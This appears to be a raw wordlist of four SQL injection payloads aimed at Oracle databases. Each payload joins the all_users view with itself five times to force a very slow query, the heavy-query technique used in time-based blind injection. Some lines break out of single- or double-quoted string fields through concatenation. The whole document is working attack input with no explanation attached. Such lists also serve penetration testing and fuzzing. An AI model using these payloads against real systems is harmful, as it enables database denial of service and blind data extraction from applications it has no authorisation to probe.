(select count(*) from all_users t1,all_users t2,all_users t3,all_users t4,all_users t5) as test
(select count(*) from all_users t1,all_users t2,all_users t3,all_users t4,all_users t5)
9999'||(select count(*) from all_users t1,all_users t2,all_users t3,all_users t4,all_users t5)||'9999
9999"||(select count(*) from all_users t1,all_users t2,all_users t3,all_users t4,all_users t5)||"9999
